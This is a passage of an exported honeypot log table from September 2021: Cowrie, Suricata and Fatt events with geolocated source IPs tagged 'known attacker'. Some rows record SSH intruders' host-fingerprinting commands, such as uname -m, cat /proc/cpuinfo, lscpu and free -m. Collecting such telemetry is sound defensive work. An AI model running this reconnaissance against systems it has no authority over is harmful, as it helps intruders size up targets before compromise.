"ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21307945251464844, "duplicate": true, "timestamp": "2021-09-20T11:54:05.093654Z", "@timestamp": "2021-09-20T11:54:05.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33052	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:05.556082+03	2021-09-20 15:00:04.257724+03	{"_id": "aQYOA3wBvYTbRNuEX02_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "91.231.219.157", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.20944738388061523, "duplicate": true, "timestamp": "2021-09-20T11:54:05.556082Z", "@timestamp": "2021-09-20T11:54:05.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33053	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:05.754318+03	2021-09-20 15:00:04.258722+03	{"_id": "agYOA3wBvYTbRNuEX02_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:05.754318Z", "@timestamp": "2021-09-20T11:54:05.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33060	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:07.076531+03	2021-09-20 15:00:04.267723+03	{"_id": "ggYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:07.076531Z", "@timestamp": "2021-09-20T11:54:07.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33054	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:05.966722+03	2021-09-20 15:00:04.259722+03	{"_id": "aAYOA3wBvYTbRNuEX02_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "91.231.219.157", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21248817443847656, "duplicate": true, "timestamp": "2021-09-20T11:54:05.966722Z", "@timestamp": "2021-09-20T11:54:05.966Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33055	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:05.346758+03	2021-09-20 15:00:04.260723+03	{"_id": "awYOA3wBvYTbRNuEX03A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:05.346758Z", "@timestamp": "2021-09-20T11:54:05.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33056	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:05.347301+03	2021-09-20 15:00:04.261723+03	{"_id": "bQYOA3wBvYTbRNuEX03A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:05.347301Z", "@timestamp": "2021-09-20T11:54:05.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33057	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:05.754858+03	2021-09-20 15:00:04.263722+03	{"_id": "bAYOA3wBvYTbRNuEX03A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:05.754858Z", "@timestamp": "2021-09-20T11:54:05.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33058	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:06.446362+03	2021-09-20 15:00:04.264721+03	{"_id": "cAYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "91.231.219.157", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.22673535346984863, "duplicate": true, "timestamp": "2021-09-20T11:54:06.446362Z", "@timestamp": "2021-09-20T11:54:06.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33059	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:54:06.397018+03	2021-09-20 15:00:04.265722+03	{"_id": "cgYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "e8816f27cf71", "@version": "1", "duration": 1.4340572357177734, "timestamp": "2021-09-20T11:54:06.397018Z", "@timestamp": "2021-09-20T11:54:06.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
33061	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:07.196255+03	2021-09-20 15:00:04.268723+03	{"_id": "egYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:07.196255Z", "@timestamp": "2021-09-20T11:54:07.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33062	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:07.706675+03	2021-09-20 15:00:04.269723+03	{"_id": "fwYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "91.231.219.157", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21215343475341797, "duplicate": true, "timestamp": "2021-09-20T11:54:07.706675Z", "@timestamp": "2021-09-20T11:54:07.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33063	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:07.494598+03	2021-09-20 15:00:04.270724+03	{"_id": "fAYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:07.494598Z", "@timestamp": "2021-09-20T11:54:07.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33064	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:07.495133+03	2021-09-20 15:00:04.272724+03	{"_id": "fQYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:07.495133Z", "@timestamp": "2021-09-20T11:54:07.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33065	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:08.844747+03	2021-09-20 15:00:04.273723+03	{"_id": "hgYOA3wBvYTbRNuEa016", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:08.844747Z", "@timestamp": "2021-09-20T11:54:08.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33066	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:08.402212+03	2021-09-20 15:00:04.274722+03	{"_id": "iwYOA3wBvYTbRNuEa017", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:08.402212Z", "@timestamp": "2021-09-20T11:54:08.402Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33067	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:08.925669+03	2021-09-20 15:00:04.275722+03	{"_id": "jAYOA3wBvYTbRNuEa017", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:08.925669Z", "@timestamp": "2021-09-20T11:54:08.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33068	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:08.926156+03	2021-09-20 15:00:04.276723+03	{"_id": "jQYOA3wBvYTbRNuEa017", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:08.926156Z", "@timestamp": "2021-09-20T11:54:08.926Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33069	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:08.925132+03	2021-09-20 15:00:04.277722+03	{"_id": "iQYOA3wBvYTbRNuEa017", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:08.925132Z", "@timestamp": "2021-09-20T11:54:08.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33070	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:09.400308+03	2021-09-20 15:00:04.278723+03	{"_id": "kAYOA3wBvYTbRNuEb01j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "189.50.42.214", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.5556869506835938, "duplicate": true, "timestamp": "2021-09-20T11:54:09.400308Z", "@timestamp": "2021-09-20T11:54:09.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33071	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:09.717012+03	2021-09-20 15:00:04.280722+03	{"_id": "kwYOA3wBvYTbRNuEb01j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:09.717012Z", "@timestamp": "2021-09-20T11:54:09.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33072	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:54:14.510172+03	2021-09-20 15:00:04.281724+03	{"_id": "4QYOA3wBvYTbRNuEhE1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 334741000016331, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2134, "dest_port": 22, "timestamp": "2021-09-20T11:54:14.510172Z", "@timestamp": "2021-09-20T11:54:14.510Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33073	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:15.145831+03	2021-09-20 15:00:04.282722+03	{"_id": "5AYOA3wBvYTbRNuEhU1f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 